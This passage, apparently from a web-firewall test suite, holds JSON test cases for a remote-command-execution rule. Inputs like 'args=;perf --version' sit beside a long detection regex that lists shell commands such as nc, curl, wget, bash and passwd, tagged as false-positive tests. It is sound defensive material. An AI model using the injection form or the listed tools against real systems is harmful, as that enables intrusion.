$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP with word comment" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "args=;performance" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?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(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "FP with word performance" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "args=;perf --version" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\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),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(